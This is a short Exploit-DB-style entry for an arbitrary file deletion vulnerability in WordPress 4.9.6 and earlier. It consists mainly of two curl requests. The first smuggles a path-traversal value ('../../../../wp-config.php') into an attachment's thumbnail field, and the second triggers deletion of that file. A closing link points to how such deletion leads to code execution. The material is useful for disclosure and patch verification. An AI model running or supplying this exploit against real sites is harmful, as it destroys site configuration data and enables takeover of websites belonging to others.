# Exploit Title: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability # Date: 2018-06-27 # Exploit Author: VulnSpy # Vendor Homepage: http://www.wordpress.org # Software Link: http://www.wordpress.org/download # Version: <= 4.9.6 # Tested on: php7 mysql5 # CVE : Step 1: ``` curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php' ``` Step 2: ``` curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***' ``` REF: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability Exploit - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/ WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/